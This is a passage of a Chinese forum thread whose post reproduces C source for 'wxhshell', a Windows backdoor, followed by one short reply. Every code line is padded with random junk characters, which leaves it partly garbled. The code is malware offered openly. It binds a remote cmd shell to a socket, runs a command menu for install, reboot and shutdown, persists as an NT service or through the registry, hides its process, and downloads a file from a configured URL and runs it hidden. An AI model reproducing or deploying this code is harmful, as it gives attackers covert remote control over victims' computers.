  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zk1]?  
  if(DownloadFile(cmd,wsh)) qOmL\'8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h:7\S\|8  
  else ;>/Mal  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gv]94$'J9  
  } CXGMc)#>f  
  else { F<iV;+  
N`d%4)|{  
    switch(cmd[0]) { _s<BXj  
  'A3*[e|OS  
  // 帮助 n4B uM R  
  case '?': { ,Y| ;V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G,+3(C  
    break; D'%M#S0   
  } 'Sgz\ =K  
  // 安装 CXuMNa  
  case 'i': { 9]T61Z{OW1  
    if(Install()) %jx<<hW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ci+a jON  
    else >`[+24e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &*8.%qe;  
    break; Mig l  
    } DD  
  // 卸载 CX2qtI8N?  
  case 'r': { %S`Wu|y  
    if(Uninstall()) 6*EIhIQ(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?.-+U~  
    else KbciRRf!k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I d8MXdV  
    break; w87$p821  
    } H}&JrT95  
  // 显示 wxhshell 所在路径 "Q\b6 7Ch  
  case 'p': { wmX(%5vY^  
    char svExeFile[MAX_PATH]; ,jW a&7  
    strcpy(svExeFile,"\n\r"); }4piZ ch  
      strcat(svExeFile,ExeFile); DTsD<o  
        send(wsh,svExeFile,strlen(svExeFile),0); ?b}e0C-a  
    break; 3&"uf9d  
    } 9:3`LY3wW  
  // 重启 ew,okRCN  
  case 'b': { f`rI]v|@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cM,g, E}  
    if(Boot(REBOOT))  `2\:b^h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4M0p:Ey '  
    else { ?MfwRWY  
    closesocket(wsh); <Mj{pN3  
    ExitThread(0); *aFh*-Sj2I  
    } (["V( $  
    break; ugj I$u  
    } 2[1t )EW  
  // 关机 ] X)~D!mA  
  case 'd': { u^Ktz DmL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WAtv4  
    if(Boot(SHUTDOWN)) 3A =\Mb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .h/2-pQ>  
    else { S !lrnH  
    closesocket(wsh); C%ZPWOc_8  
    ExitThread(0); <Voct  
    } WuI$   
    break; A5\ Hq  
    } xh#pw2v7V  
  // 获取shell *c%{b3T_  
  case 's': { >[nR$8_J-l  
    CmdShell(wsh); g-ZXj4Ph!  
    closesocket(wsh); lu+KfKa  
    ExitThread(0); j B1ZF#  
    break; ]Nssn\X7  
  } ; bHS^  
  // 退出 2qVoe}F  
  case 'x': { @KHY8y7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~>_UTI  
    CloseIt(wsh); [wJ\.9<Oa  
    break; / $s(OFbi#  
    } M^ e}w!U  
  // 离开 C1l'<  
  case 'q': { \"L0d1DK)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +T4}wm  
    closesocket(wsh); Q`;eI a6U  
    WSACleanup(); OZz!8-|wE  
    exit(1); r=7!S8'  
    break; `}L{gssv  
        } )J+A2>  
  } ~J#Z7y]p!j  
  } @Jqo'\~&  
M0?%r`  
  // 提示信息 ly_8p63-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Cx goX^  
} >lyE@S sA  
  } !)`*e>]x  
D6fd(=t1Z  
  return; 'qG-)2 t  
} ox\D04:M  
o=Mm=;H  
// shell模块句柄 \P"Ol\@  
int CmdShell(SOCKET sock) y!rJ}e  
{ Z( "-7_  
STARTUPINFO si; mb%U~Na  
ZeroMemory(&si,sizeof(si)); =}I=s@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Aeo=m}C;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9x8Vsd  
PROCESS_INFORMATION ProcessInfo; %BT]h3dcSS  
char cmdline[]="cmd"; C(z 'oi:f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CvEIcm=t  
  return 0; > sQ&5-i  
} O(e!Vx{t!  
f#7=N{wm  
// 自身启动模式 S,avvY.U\  
int StartFromService(void) GDiyFTr  
{ ,Jn` qvmi  
typedef struct 4M6[5RAW{  
{ w-NTw2x,&  
  DWORD ExitStatus; Tdz#,]Q   
  DWORD PebBaseAddress; knpdECq&k  
  DWORD AffinityMask; ~v:IgS  
  DWORD BasePriority; ?| 6sTu!  
  ULONG UniqueProcessId; -okq= 9  
  ULONG InheritedFromUniqueProcessId; zKaj<Og  
}   PROCESS_BASIC_INFORMATION; bC) <K/Q9  
rce._w }  
PROCNTQSIP NtQueryInformationProcess; a"t~ K  
4%_xT o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .!i`YT*jF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wa`c3PQGu  
>p;&AaXkoG  
  HANDLE             hProcess; ;KEie@Ry  
  PROCESS_BASIC_INFORMATION pbi; k\dPF@~Hvl  
:qAX9T'{t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); % -+7=x  
  if(NULL == hInst ) return 0; 3)2{c  
wf\7sz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8K8jz9.s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WB<MU:.Vc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0L,!o[L*  
XJy.xI>;  
  if (!NtQueryInformationProcess) return 0; qHo H h  
&N+`O)$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~_F;>N~  
  if(!hProcess) return 0; T (]*jaB  
0*oavY*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 02NVdpo[wU  
<r>Sj /w<D  
  CloseHandle(hProcess); WiQVZ {  
o1*P|.`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3p?nQ O)L  
if(hProcess==NULL) return 0; ]%FP*YU4O  
`R7dn/  
HMODULE hMod; X?&{< vz  
char procName[255]; Qe4 % A  
unsigned long cbNeeded; X%N!gy  
v"mZy,u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =VT\$ 5A  
H8HVmfM  
  CloseHandle(hProcess); ?U O aqcL  
7sWe32  
if(strstr(procName,"services")) return 1; // 以服务启动 piuM#+Y\'S  
'O.f}m SS  
  return 0; // 注册表启动 & BY\h:  
} %4V$')rek  
kt\,$.v8  
// 主模块 EA9.?F  
int StartWxhshell(LPSTR lpCmdLine) jENC1T(  
{ T}29(xz-(h  
  SOCKET wsl; ?E}gm>  
BOOL val=TRUE; 'Nuy/\[{\  
  int port=0; P{:Zxli0  
  struct sockaddr_in door; w:iMrQeJg  
Q>9bKP  
  if(wscfg.ws_autoins) Install(); ]\oT({$6B  
1;i|GXY:h  
port=atoi(lpCmdLine); 4GG>n  
#n15_cd  
if(port<=0) port=wscfg.ws_port; =n_z`I  
,oSn<$%/q  
  WSADATA data; XzqB=iX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YktZXc?iI<  
x>tm[k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jt: *Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;3xi.^=B  
  door.sin_family = AF_INET; gy~2LY!}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `-R&4%t%  
  door.sin_port = htons(port); pzUr9  
.X"&k O>G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I&gd"F _v}  
closesocket(wsl); .O(9\3q\  
return 1; 1LhZmv  
} i_*.  
RP[`\  
  if(listen(wsl,2) == INVALID_SOCKET) { Ex|Z@~T12  
closesocket(wsl); 1^V.L+0s]  
return 1; >&R@L KP  
} *//z$la  
  Wxhshell(wsl); `kv7Rr}Q  
  WSACleanup(); SDNRcSbOD6  
XP:fL NpQ  
return 0; 55UPd#E'  
K :+q9;g  
} Bt5 P][<  
WPlf8* -fQ  
// 以NT服务方式启动 /vi Ic %=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~Cw7.NA{3  
{ Kng=v~)N'  
DWORD   status = 0; o"z;k3(i$7  
  DWORD   specificError = 0xfffffff;  7( Z9\  
K ;]dZ8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; + @|u8+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W/WP }QM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e6tU8`z  
  serviceStatus.dwWin32ExitCode     = 0; (: k n)  
  serviceStatus.dwServiceSpecificExitCode = 0; Iw)m9h  
  serviceStatus.dwCheckPoint       = 0; T5e#Ll/  
  serviceStatus.dwWaitHint       = 0; R^sgafGl=  
)Y'g;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {hN<Ot  
  if (hServiceStatusHandle==0) return; &y|PseH"  
8g-Z~~0W1  
status = GetLastError(); v<)&JlR  
  if (status!=NO_ERROR) C.LAr~P  
{ M5dEZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -MsL>F.]  
    serviceStatus.dwCheckPoint       = 0; FwHqID_!:l  
    serviceStatus.dwWaitHint       = 0; "lC>_A  
    serviceStatus.dwWin32ExitCode     = status; "Ms{c=XPK  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?u".*!%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .d$Q5Qae  
    return; '@w'(}3!3R  
  } f}4A ,%:1  
=2DK?]K;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '+j;g  
  serviceStatus.dwCheckPoint       = 0; llh +r?  
  serviceStatus.dwWaitHint       = 0; |M t2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V>Xg\9B_  
} k\*?<g  
n5BD0q  
// 处理NT服务事件,比如:启动、停止 t0v >J9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7r)]9_[(  
{ !O}e)t  
switch(fdwControl) 9%3+\[s1  
{ r|\{!;7  
case SERVICE_CONTROL_STOP: ahCwA}  
  serviceStatus.dwWin32ExitCode = 0; fk X86  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iS<1C`%>  
  serviceStatus.dwCheckPoint   = 0; UWS 91GN@  
  serviceStatus.dwWaitHint     = 0; m-;8O /  
  { ,O-_Pv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .m>Qlh  
  }  6GVAR  
  return; @2d9 7.X  
case SERVICE_CONTROL_PAUSE: M.Tp)ig\#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DTo"{!  
  break; w L>*WLfR  
case SERVICE_CONTROL_CONTINUE: #2:?N8vz*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Lp@Al#X55  
  break; !TY0;is  
case SERVICE_CONTROL_INTERROGATE: *b 0z/ 6  
  break; z j#<X  
}; S Te8*=w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  F0zaA  
} ot! m=s  
&(Hw:W 9  
// 标准应用程序主函数 /-^J0f+l3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s"w^E\ >6  
{ GE=S.P;  
@"/H er  
// 获取操作系统版本 '73}{" '  
OsIsNt=GetOsVer(); t]]Ig  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0:4>rYBC   
_K'Y`w']  
  // 从命令行安装 \+Y=}P>  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;pOV; q3j  
"*l{ m2"  
  // 下载执行文件 v3t<rv  
if(wscfg.ws_downexe) { KU0Ad);e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q(hBqUW  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9kqR-T|Q  
} fZsw+PSy  
vSoG] :1  
if(!OsIsNt) { N=T}  
// 如果时win9x,隐藏进程并且设置为注册表启动 )8}k.t>'s  
HideProc(); WJa7  
StartWxhshell(lpCmdLine); F:jtzy"  
} 9xw"NcL  
else dBovcc  
  if(StartFromService()) 7^M$u\a)U  
  // 以服务方式启动 p W5D!z  
  StartServiceCtrlDispatcher(DispatchTable); j;D$qd'J  
else D0kz;X  
  // 普通方式启动 uW/>c$*)  
  StartWxhshell(lpCmdLine); [P ;fv  
BzWkZAX  
return 0; ?2,D-3 {  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八